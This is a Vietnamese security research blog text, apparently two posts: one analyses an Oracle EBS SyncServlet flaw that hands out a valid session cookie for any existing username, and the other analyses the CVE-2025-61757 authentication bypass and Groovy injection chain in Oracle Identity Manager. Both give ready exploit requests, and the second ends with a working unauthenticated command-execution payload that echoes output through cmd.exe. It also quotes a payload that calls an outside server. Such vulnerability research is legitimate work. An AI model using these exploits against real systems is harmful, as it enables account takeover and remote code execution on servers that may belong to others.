        <servlet-name>SyncServlet</servlet-name> 
        <url-pattern>/SyncServlet</url-pattern> 
    </servlet-mapping>

<servlet> 
     <servlet-name>SyncServlet</servlet-name> 
     <servlet-class>oracle.apps.jtf.cac.sync.transport.SyncServlet</servlet-class> 
  </servlet>

Về cơ bản, servlet này đóng vai trò là một HTTP Gateway để xử lý việc đồng bộ hóa lịch giữa Oracle EBS và các thiết bị hoặc ứng dụng bên ngoài (như Outlook hoặc điện thoại di động) dựa trên giao thức SyncML (Synchronization Markup Language).

Ban đầu SyncServlet sẽ kiểm tra message hiện tại có thuộc phiên đang tồn tại không dựa trên param sid và state, nếu có thì tiếp tục duy trì phiên đó:

String var14 = var1.getParameter("sid");
String var15 = var1.getParameter("state");


if (var14 != null && var14.length() > 0 && !String.valueOf(3).equals(var15) && !String.valueOf(1).equals(var15)) {
    var28 = new SyncContextManager();
    this.context = var28.getSyncContext((String)null, (String)null, var25, (Message)null, var8, var129, var10);
    this.context.setPrincipalInfo(var19, var18);
  
    SyncPersistentStore var29 = new SyncPersistentStore(this.context);
    this.context.setPersistentStore(var29);

   
    if (!this.context.validateSession(var14, true)) {
        throw new ServiceUnavailableException("Server Timed Out");
    }
  
    var6 = new SyncHandler(this.context);
    if (var19 != null && var18 != null) {
        var6.readPrincipal(var19, var18);
    }

    HashMap var30 = var29.getSyncAgents();
    Iterator var31 = var30.keySet().iterator();
    var32 = null;
    HashMap var33 = new HashMap(10);

    while (var31.hasNext()) {
        SyncAgent var34 = (SyncAgent) var30.get(var31.next());
        if (var34 != null) {
            var32 = var1.getParameter(var34.name);
        }

        if (var32 != null) {
            Database var35 = new Database(
                var34.uri, 
                (String)null, 
                (Target)null, 
                (Source)null, 
                new SyncAnchor((String)null, var17), 
                (Principal)null
            );
            var35.setServerAnchor(new SyncAnchor((String)null, var32));
            var33.put(var34.uri, var35);
        }
    }

    var6.setDbs(var33);
}

nếu trong message không có hai param trên SyncServlet sẽ tiến hành xác thực bằng username và password:

  if (var6 == null) {    
      var19 = var5.getHeader().getCredential().getUsername();    // [1]
      var39 = var5.getHeader().getCredential().getPassword();
      var18 = var5.getHeader().getSource().getURI();
      if (var19 == null || var19.trim().length() == 0 || var39 == null || var39.trim().length() == 0) {
          throw new UnauthorizedException("Username or password is missing");
      }

      SyncContextManager var141 = new SyncContextManager();
      this.context = var141.getSyncContext(var19, var39, var25, var5, var8, var129, var10);
      var3 = this.context.getLogger();
      if (var3.isEnabled(2)) {
          var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Incoming message: " + var5.toString(), 2);
      }

      var141.createSession(this.context, var19, var39);    // [2]
      var14 = this.context.getSessionCookieValue();        // [4]
      var141.validateLogon(this.context, var19, var39);    // [3]
      var6 = new SyncHandler(this.context);
 } else {
      this.context = var6.getSyncContext();
      var3 = this.context.getLogger();
      if (var3.isEnabled(2)) {
          var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Incoming message: " + var5.toString(), 2);
      }
 }

Đi theo luồng xử lý của method doPost(): nếu message SyncML (var 5) không chứa sid, method sẽ thực hiện các bước sau:

• [1]: Lấy username và password từ header của SyncML.

• [2]: Tạo một session mới cho user.

• [3]: Check thông tin đăng nhập.

• [4]: Gán session cookie vừa được tạo cho var14.

Lỗi logic xuất hiện ngay tại đây: SyncServlet sẽ tạo session trước khi kiểm tra mật khẩu của user truyền vào. Nếu check method createSession(), chúng ta có thể thấy nó không hề kiểm tra mật khẩu mà chỉ xác nhận xem username có tồn tại hay không:

public void createSession(SyncContext var1, String var2, String var3) throws Exception {
        if (this.logger.isEnabled(2)) {
            this.logger.write("oracle.apps.jtf.cac.sync.handler.SyncContextManager", "Enter createSession", 2);
        }

        try {
            this.logger = var1.getLogger();
            if (!var1.createSession(var2.toUpperCase())) {
                throw new UnauthorizedException("Session can't be created for " + var2);
            }

            SessionManager var4 = var1.getSessionManager();
            if (this.logger.isEnabled(3)) {
                this.logger.write("oracle.apps.jtf.cac.sync.handler.SyncContextManager", "createSession returned successfully", 3);
            }
        } catch (Exception var8) {
            // REDACTED
        } finally {
            // REDACTED
        }

    }

Chỉ cần username tồn tại trong hệ thống, một session sẽ được khởi tạo.

Mặc dù validateLogon() sẽ throw exception UnauthorizedException nếu password sai, nhưng nhánh catch sau đó sẽ nuốt exception này để return thông báo lỗi cho client mà không hề hủy bỏ session vừa tạo.

catch (Exception var233) {
     Exception var119 = var233;
     var39 = var119.fillInStackTrace();
     var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var119);
     if (!(var119 instanceof ServerException) && !(var119 instanceof RepresentationException) && !(var119 instanceof DataStoreFailureException) && !(var119 instanceof ProtocolVersionNotSupportedException) 
    && !(var119 instanceof BadRequestException) && !(var119 instanceof UnauthorizedException)) {
         var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "exiting sync servlet due to unexpected exception", 3);
             throw new ServletException(var39.toString());
     }

     try {
         var4 = SyncErrorHandler.processError(var5, var12, var39);
         var7 = var4.getMessage();
         var112 = false;
         var210 = false;
     }

Cuối cùng, EBS sẽ return response chứa session cookie hợp lệ về cho client:

if (var112) {
            // REDACTED
} 
else {
      // REDACTED
            if (var14 != null) {
                var131 = var131 + "sid=" + var14;    // [5]
            }  
        //REDACTED
            if (var4 != null && var7 != null) {
                if (var131 != null && var131.length() > 0) {
                    var131 = URLEncoder.encode(var131);
                    var7.getHeader().setResponseURI(var131);    // [6]
                }
                if (var3 != null && var3.isEnabled(2)) {
                    var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Response SYNC Message: " + var7.toString(), 2);
                }
                var137 = null;
                if ("application/vnd.syncml+xml".equals(var4.getMimeType())) {
                    var137 = var7.toXML().getBytes();
                } else if ("application/vnd.syncml+wbxml".equals(var4.getMimeType())) {
                    try {
                        var137 = WBXMLTools.toWBXML(var7);     
                    } catch (Exception var216) {
                        var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var216);
                    }
                }
                try {
                    ((OutputStream)var20).write(var137);        // [7]
                } catch (Exception var214) {
                    var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var214);
                } finally {
                    ((OutputStream)var20).flush();
                    ((OutputStream)var20).close();
                }

            } else {
                var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "null response message", 4);
                throw new ServletException("response message is null");
            }

• [5]: Gán cookie vừa tạo vào param ‘sid’

• [6]: Đưa vào tag ResponseURI

• [7]: Return lại cho client

Tóm lại: Để chiếm được phiên đăng nhập của một user bất kỳ (ví dụ: sysadmin), ta chỉ cần gửi một message SyncML kèm theo username, EBS sẽ trả lại một cookie hợp lệ trong response :v (this must be a backdoor anyway ¯\_(ツ)_/¯).

POST /OA_HTML/SyncServlet HTTP/1.1
Host: apps.example.com:8000
Content-Type: application/vnd.syncml+xml
Content-Length: 607

<?xml version="1.0" encoding="UTF-8"?>
<SyncML>
  <SyncHdr>
    <VerDTD>1.1</VerDTD>
    <VerProto>SyncML/1.1</VerProto>
    <SessionID> 1</SessionID>
    <MsgID>1</MsgID>

    <Target><LocURI>http://localhost</LocURI></Target>
    <Source><LocURI>device-123</LocURI></Source>

    <Cred>
      <Meta>
        <Format>b64</Format>
        <Type>syncml:auth-basic</Type>
      </Meta>
      <Data>c3lzYWRtaW46V1JPTkdfUEFTUw==</Data>  // Base64(username:password)
    </Cred>
  </SyncHdr>

  <SyncBody>
    <Alert>
      <CmdID>1</CmdID>
      <Data>200</Data>
    </Alert>
    <Final/>
  </SyncBody>
</SyncML>

Demo:

PoC script:

Thanks for reading!

Tuần trước Searchlight Cyber có lên bài phân tích (here) về một lỗ hổng preauth RCE mới của Oracle Identity Manager - CVE-2025-61757. Đây là một chain gồm hai bug là authentication bypass và groovy injection. Tuy rằng tác giả cũng đã giải thích khá chi tiết nhưng mình thấy có một vài thứ khá là mới nên mình có tìm hiểu và viết lại một số thứ để tiện note lại cho sau này.

Authentication bypass

Theo như blog của searchlight đề cập, bug authen bypass nằm ở class oracle.wsm.agent.handler.servlet.SecurityFilter - đây cũng là class thực hiện việc check authen cho các endpoint của app applicationmanagement.

public final class SecurityFilter extends AbstractRESTFilter implements Filter {
    static {
        LOGGER = Logger.getLogger(CLASSNAME);
        WADL_PATTERN = Pattern.compile(”\\.[wW][aA][dD][lL](.)*\\z”); // [1]
    } 
    public void doFilter(ServletRequest request, ServletResponse response, final FilterChain chain) throws IOException, ServletException {
        LOGGER.entering(CLASSNAME, “doFilter”, new Object[]{request, response, chain});
        final HttpServletRequest httpRequest = (HttpServletRequest)request;
        HttpServletResponse httpResponse = (HttpServletResponse)response;
        final HttpServletResponse httpResponseWrapped = new WsmHttpResponseWrapper((HttpServletResponse)response);
        httpRequest.setAttribute(”request.processed.by.wsm.security.filter”, Boolean.valueOf(”true”));
        if (this.isCORSPreflightRequest(httpRequest)) { 
            chain.doFilter(httpRequest, httpResponse);
        } else {
            if (WADL_PATTERN.matcher(httpRequest.getRequestURI().trim()).find()) { // [2]
                chain.doFilter(httpRequest, httpResponse);
            } else {
                // auth check
            }
        }
    }

Tại [1] có thể thấy rõ ý đồ của dev khi muốn whitelist các request WADL bằng cách sử dụng pattern tìm kiếm các string có dạng .wadl, sau đó tại [2] cho phép chúng được xử lý mà không cần kiểm tra quyền truy cập bằng cách kiểm tra uri của request có chứa string .wadl không nếu có sẽ cho phép request được thông qua. → Classic auth bypass:v

Bài toán mới là làm sao để access được api khi muốn chèn string .wadl. Method getRequestURI() sẽ không lấy query string của url cho nên ta cũng không thể add thêm GET param như ?a=.wadl được.

Ở bài của Searchlight họ có để cập tới việc inject path parameter ;.wadl để exploit bug này. Khi đọc xong thì mình có thắc mắc là tại sao lại có thể dùng được như vậy:v. Tại sao /path;.wadl lại ăn, mà ko phải là /path.wadl?

Why ;.wadl?

Trong khi đi tìm hiểu về cách getRequestURI() return thì mình tìm được câu trả lời ở đây stackoverflow

getRequestURI() có nhận cả phần path parameter (phần ;jessionid=S+ID). Sau khi debug thì mình cũng phát hiện rằng JAX-RS khi routing lại ignore phần path parameter.

Cụ thể method RoutingStage._apply() sẽ là nơi thực hiện nhiệm vụ routing:

private RoutingResult _apply(RequestProcessingContext request, Router router) {
        Router.Continuation continuation = router.apply(request);
        Iterator var4 = continuation.next().iterator();

        RoutingResult result;
        do {
            if (!var4.hasNext()) {
                Endpoint endpoint = Routers.extractEndpoint(router);
                if (endpoint != null) {
                    return RoutingStage.RoutingResult.from(continuation.requestContext(), endpoint);
                }

                return RoutingStage.RoutingResult.from(continuation.requestContext());
            }

            Router child = (Router)var4.next();
            result = this._apply(continuation.requestContext(), child);// [3]
        } while(result.endpoint == null);

        return result;
    }

tại đây _apply() sử dụng thuật toán DFS duyệt từng router để tìm kiếm endpoint phù hợp

[3] sẽ gọi đệ quy _apply() lên từng child router, nếu không child nào match thì return null

tại router MatchResultInitializerRouter sẽ thực hiện khởi tạo MatchResult để so sánh với các path pattern lúc sau:

MatchResult khi khởi tạo sẽ được strip đi MatrixParam parameter là phần bắt đầu bằng dấu ; trong mỗi segment URL hay chính là path parameter ;.wadl:

Điều đó giải thích vì sao ta có thể và phải inject ;.wadl vào uri để có thể reach được API endpoint mong muốn.

Như vậy ta có thể bypass được auth một cách đơn giản bằng cách thêm vào cuối uri một path parm ;.wadl

request bình thường:

request có ;.wadl :

Groovy Injection

Với bug auth bypass giờ đây ta có thể tùy ý truy cập vào các chức năng của app applicationmanagement mà không cần xác thực, trong đó có endpoint groovyscriptstatus. API này cho phép người dùng truyền vào một đoạn mã script groovy và biên dịch chúng:

    @POST
    @Consumes({”application/json”})
    @Path(”/applications/groovyscriptstatus”)
    public Response compileScript(String script) throws Exception {
        ApplicationRestLogger.LOGGER.entering(ApplicationrestServiceController.class.getName(), “compileScript(String)”, new Object[]{script});

        try {
            ApplicationrestServiceImpl.compileScript(script);
        } catch (Exception var3) {
            Exception e = var3;
            ApplicationRestLogger.LOGGER.log(Level.SEVERE, (String)null, e);
            return Response.status(500).entity(e.getMessage()).type(”text/plain”).build();
        }

        ApplicationRestLogger.LOGGER.exiting(ApplicationrestServiceController.class.getName(), “compileScript(String)”);
        return Response.status(Status.OK).entity(”Script Compilation Successful”).type(”text/plain”).build();
    }

Như tên của endpoint này, chức năng của nó đơn thuần chỉ là kiểm tra syntax của script groovy bằng cách compile chúng nếu thành công thì trả response successful

Thoạt nhìn thì thấy chức năng này có vẻ vô hại, không exploit được gì khi nó chỉ biên dịch mà không thực sự thực thi code groovy nhưng Searchlight đã có một “trick” cực hay đó là sử dụng annotation để có thể execute được groovy.

Mình khá bất ngờ khi lần đầu biết được 1 annotation bình thường chỉ chứa các metadata lại có thể execute được code và đây cũng chính là lý do khiến mình quyết định dựng lại lab để debug root cause của nó.

POC của Searchlight trông như sau:

import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            def connection = new URL(”https://our.outbound.server”).openConnection()
            connection.setRequestMethod(”GET”)
            def response = connection.getInputStream().getText()
        } catch (Exception e) {}
    })
    static void main(String[] args) {}
}

Demo.main()

Để hiểu cách mà poc trên hoạt động ta cần phải tìm hiểu trước các khái niệm như ASTTransformation hay Compilephase trong groovy.

AST Transformation

Groovy là một ngôn ngữ động (dynamic language) chạy trên JVM, được thiết kế để tương thích tốt với Java nhưng bổ sung thêm rất nhiều tính năng meta-programming mạnh mẽ. Một trong những cơ chế quan trọng của Groovy là AST Transformation – cho phép can thiệp trực tiếp vào cây cú pháp trừu tượng (Abstract Syntax Tree – AST) trong quá trình biên dịch.

Khác với Java, nơi annotation chủ yếu chỉ mang tính “mô tả”, annotation trong Groovy có thể được gắn với một AST Transformation cụ thể. Khi trình biên dịch Groovy đi qua từng phase (parsing, semantic analysis, canonicalization, …

Khi đó nó sẽ tìm các annotation đặc biệt và gọi tới lớp transformation tương ứng. Điều này cho phép annotation không chỉ “mô tả”, mà còn thay đổi hoặc tác động lên mã nguồn ở mức AST, ví dụ: tự động sinh constructor, thêm getter/setter, thêm logging

ASTTest

POC của Searchlight sử dụng annotation @ASTTest với compile phase là Semantic Analysis. @ASTTest là một annotation đặc biệt do Groovy cung cấp, được thiết kế để giúp dev test và debug các AST transformation.

Ta có thể chèn trực tiếp một đoạn closure vào annotation, và Groovy sẽ thực thi closure đó trong quá trình biên dịch tại compile phase Semantic Analysis.

Debugging

Quay trở lại với bug của chúng ta, sau khi truyền vào endpoint groovyscriptstatus một đoạn script groovy với 1 annotation như dưới:

POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
Host: 192.168.127.176:14000
Content-Type: application/json
Content-Length: 333

import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            java.lang.Runtime.getRuntime().exec(”calc”)
        } catch (Exception e) {}
    })
    static void main(String[] args) {}
}

Demo.main()

script sẽ được đem đi validate bằng cách parse thành Groovy Code Source rồi compile:

từ đây tiếp tục gọi tới GroovyClassLoader.doParseClass() để tiến hành compile:

private Class doParseClass(GroovyCodeSource codeSource) {
        validate(codeSource);
        CompilationUnit unit = this.createCompilationUnit(this.config, codeSource.getCodeSource()); //[4]

        SourceUnit su = null;
        File file = codeSource.getFile();
        if (file != null) {
            su = unit.addSource(file);
        } else {
            URL url = codeSource.getURL();
            if (url != null) {
                su = unit.addSource(url);
            } else {
                su = unit.addSource(codeSource.getName(), codeSource.getScriptText()); // add source
            }
        }

        ClassCollector collector = this.createCollector(unit, su);
        unit.setClassgenCallback(collector);
        int goalPhase = 7;
        if (this.config != null && this.config.getTargetDirectory() != null) {
            goalPhase = 8;
        }

        unit.compile(goalPhase); // [5]
        // REDACTED

    }

tại [4] lúc này Groovy sẽ khởi tạo một CompilationUnit object (đây chính là compiler) sau đó sẽ add phần code source trước đó đã được parse rồi gọi tới [5] để tiến hành compile.

CompilatationUnit.compile() chính là nơi Groovy thực hiện pipeline compile của mình:

public void compile(int throughPhase) throws CompilationFailedException {
    this.gotoPhase(1);
    throughPhase = Math.min(throughPhase, 9);

    while(throughPhase >= this.phase && this.phase <= 9) {
        if (this.phase == 4) {
            this.doPhaseOperation(this.resolve);
            if (this.dequeued()) {
                continue;
            }
        }

        this.processPhaseOperations(this.phase);
        this.processNewPhaseOperations(this.phase);
        if (this.progressCallback != null) {
            this.progressCallback.call(this, this.phase); //ASTTestTransformation$1.call()
        }

        this.completePhase();
        this.applyToSourceUnits(this.mark);
        if (!this.dequeued()) {
            this.gotoPhase(this.phase + 1);
            if (this.phase == 7) {
                this.sortClasses();
            }
        }
    }

    this.errorCollector.failIfErrors();
}

Lúc này compiler sẽ chạy tuần tự qua từng Compile Phase bắt đầu từ phase 1 (INITIALIZATION) sau đó sẽ lần lượt qua từng phase và thực hiện operation tương ứng. Tại phase 4 (SEMANTIC_ANALYSIS), compiler gọi resolve và thực thi toàn bộ AST Transformations đã được set bằng cách gọi tới progressCallback.call hay ASTTestTransformation$1.call()

public void call(ProcessingUnit context, int phaseRef) {
    CallSite[] var3 = $getCallSiteArray();
    // REDACTED
    if (BytecodeInterface8.isOrigInt() && BytecodeInterface8.isOrigZ() && !__$stMC && !BytecodeInterface8.disabledStandardMetaClass()) {
        if (ScriptBytecodeAdapter.compareEqual(phase.get(), (Object)null) || ScriptBytecodeAdapter.compareEqual(phaseRef, var3[48].callGetProperty(phase.get()))) {
            //REDACTED
            Object testSource = var3[58].call(sbx, var3[59].call(var3[60].callGetProperty(testClosurex), 1), var3[61].call(sbx));
            Object var23 = var3[62].call(testSource, 0, var3[63].call(testSource, “}”));
            testSource = var23;
            CompilerConfiguration config = (CompilerConfiguration)ScriptBytecodeAdapter.castToType(var3[64].callConstructor(CompilerConfiguration.class), CompilerConfiguration.class);
            Reference customizer = new Reference(var3[65].callConstructor(ImportCustomizer.class));
            var3[66].call(config, customizer.get());
            Object var26 = source.get();
            var3[67].call(this.binding, “sourceUnit”, var26);
            Object var27 = BytecodeInterface8.objectArrayGet((ASTNode[])ScriptBytecodeAdapter.castToType(nodes.get(), ASTNode[].class), 1);
            var3[68].call(this.binding, “node”, var27);
            Object var28 = var3[69].call(var3[70].callConstructor(MethodClosure.class, LabelFinder.class, “lookup”), BytecodeInterface8.objectArrayGet((ASTNode[])ScriptBytecodeAdapter.castToType(nodes.get(), ASTNode[].class), 1));
            var3[71].call(this.binding, “lookup”, var28);
            Object var29 = var3[72].callGroovyObjectGetProperty(this);
            var3[73].call(this.binding, “compilationUnit”, var29);
            Object var30 = var3[74].call(CompilePhase.class, phaseRef);
            var3[75].call(this.binding, “compilePhase”, var30);
            GroovyShell shell = (GroovyShell)ScriptBytecodeAdapter.castToType(var3[76].callConstructor(GroovyShell.class, this.binding, config), GroovyShell.class);
            var3[77].call(var3[78].callGetProperty(var3[79].callGetProperty(source.get())), new _call_closure2(this, this, customizer));
            var3[80].call(var3[81].callGetProperty(var3[82].callGetProperty(source.get())), new _call_closure3(this, this, customizer));
            var3[83].call(var3[84].callGetProperty(var3[85].callGetProperty(source.get())), new _call_closure4(this, this, customizer));
            var3[86].call(var3[87].callGetProperty(var3[88].callGetProperty(source.get())), new _call_closure5(this, this, customizer));
            var3[89].call(shell, testSource);
        }
    } 
          //REDACTED
    }

}

ASTTestTransformation lấy ClosureExpression từ annotation @ASTTest rồi lược bỏ chỉ còn:

        try {
            java.lang.Runtime.getRuntime().exec(”calc”)
        } catch (Exception e) {}

và cuối cùng gọi tới GroovyShell.evaluate() để thực thi đoạn mã trên:

Toàn bộ quá trình trên được diễn ra trong giai đoạn compile không phải runtime cho nên ta có thể thực thi code tùy ý → đây cũng chính là sink của chain này.

Ta có stack trace như sau:

exec:347, Runtime (java.lang)
call:-1, java_lang_Runtime$exec$0
defaultCall:48, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:113, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
run:2, Script1
evaluate:413, GroovyShell (groovy.lang)
evaluate:435, GroovyShell (groovy.lang)
evaluate:417, GroovyShell (groovy.lang)
call:-1, GroovyShell$evaluate (groovy.lang)
call:112, ASTTestTransformation$1 (org.codehaus.groovy.transform)
compile:562, CompilationUnit (org.codehaus.groovy.control)
doParseClass:238, GroovyClassLoader (groovy.lang)
parseClass:201, GroovyClassLoader (groovy.lang)
parseClass:472, GroovyShell (groovy.lang)
parse:476, GroovyShell (groovy.lang)
parse:497, GroovyShell (groovy.lang)
parse:488, GroovyShell (groovy.lang)
validateScript:122, GroovyScriptExecutor (oracle.iam.application.vo)
compileScript:538, ApplicationManagerImpl (oracle.iam.application.impl)

Final POC

Nếu bạn để ý, các PoC như của mình ở trên hoặc của Searchlight đều thực hiện theo cách gọi trực tiếp java.lang.Runtime để spawn process, hoặc mở một kết nối outbound ra bên ngoài. Tuy nhiên, cả hai phương pháp này đều có những hạn chế lớn. Ngay cả khi khai thác thành công và đạt được RCE, kết quả cũng chỉ là Blind RCE – tức là không có phản hồi trực tiếp để xác minh. Trường hợp server không cho phép outbound, thì cũng không có cách nào xác nhận việc khai thác có thực sự thành công hay không.

Để khắc phục hạn chế đó, cùng với việc lợi dụng script groovy không bị sandbox, ta có thể dùng java Reflection API để access được các object request/response của Thread hiện tại và modify lại logic tùy ý, từ đó có thể control được response trả về của OIM.

import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            def thread = Thread.currentThread()
            def execThread = Class.forName(”weblogic.work.ExecuteThread”).cast(thread)
            def work = execThread.getClass().getMethod(”getCurrentWork”).invoke(execThread)

            def handlerField = work.getClass().getDeclaredField(”connectionHandler”)
            handlerField.setAccessible(true)
            def handler = handlerField.get(work)

            def req = handler.getClass().getMethod(”getServletRequest”).invoke(handler)
            def res = handler.getClass().getMethod(”getServletResponse”).invoke(handler)

            def param = req.getParameter(”cmd”)
            def out = res.getWriter()

            if (param != null && !param.trim().isEmpty()) {
                String[] cmds = [ “cmd.exe”, “/c”, param ] as String[]
                def process = Runtime.getRuntime().exec(cmds)
                def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))
                String line
                while ((line = reader.readLine()) != null) {
                    out.println(line)
                }
                reader.close()
            }
            out.flush()
            res.flushBuffer()
        } catch (Throwable t) {
            
        }
    })
    def x 
}